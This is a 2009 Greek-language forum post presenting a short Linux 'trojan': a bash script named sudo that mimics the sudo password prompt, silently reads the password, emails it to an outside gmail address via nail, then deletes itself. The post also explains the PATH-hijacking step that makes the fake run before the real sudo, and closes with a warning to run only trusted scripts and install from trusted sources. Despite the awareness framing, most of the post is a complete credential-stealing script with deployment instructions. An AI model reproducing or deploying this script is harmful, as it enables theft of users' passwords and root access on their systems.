Δημοσιεύτηκε: 03 Φεβ 2009, 17:18
από ftso
Ένας ωραίος δούρειος ίππος για linux...
Προσοχή μην τον δοκιμάσετε.
Δεν θα δουλέψει έτσι κι αλλιώς...καθώς χρειάζεται το πακέτο nail και μια μικρή προεργασία.
Απλά τον παραθέτω για να δείτε πόσο εύκολο είναι να τρέξει στο linux με μια μικρή βοήθεια από τον ανίδεο χρήστη.

Όνομα: sudo
Κώδικας: Επιλογή όλων

#!/bin/bash
echo -n "[sudo] password for" `whoami`":"
read -s a
echo "Sorry, try again."
echo $a | nail -s "PassWord" name (AT) gmail (DOT) com
rm -f sudo
exit 1


Εκτελώντας:
Κώδικας: Επιλογή όλων
which sudo
echo $PATH

Βλέπουμε ότι το αποτέλεσμα της πρώτης εντολής περιέχεται στο αποτέλεσμα της δεύτερης.
Το μόνο που χρειάζεται λοιπόν είναι να προσθέσουμε τον κατάλογο που θα αποθηκευτεί το πρώτο script (το home για παράδειγμα) μέσα στην μεταβλητή PATH πριν τον κατάλογο της πρώτης εντολής.
Μετά δίνουμε δικαιώματα εκτέλεσης και αυτό ήταν...
Bye bye password...

Την επόμενη φορά που θα πατήσουμε sudo, ο κωδικός θα σταλθεί με email κάπου και αμέσως μετά το script θα διαγραφεί μόνο του.
Μόλις πάμε να ξανατρέξουμε την sudo θα είναι όλα όπως πριν. Ούτε γάτα ούτε ζημιά...


Για αυτό, μην τρέχετε script που βρίσκεται στο διαδίκτυο χωρίς να ξέρετε τι κάνουν και η πηγή τους δεν είναι έγκυρη.
Επίσης προσπαθήστε να εγκαθιστάτε προγράμματα μόνο απο το synaptic ή έγκυρες και σοβαρές πηγές!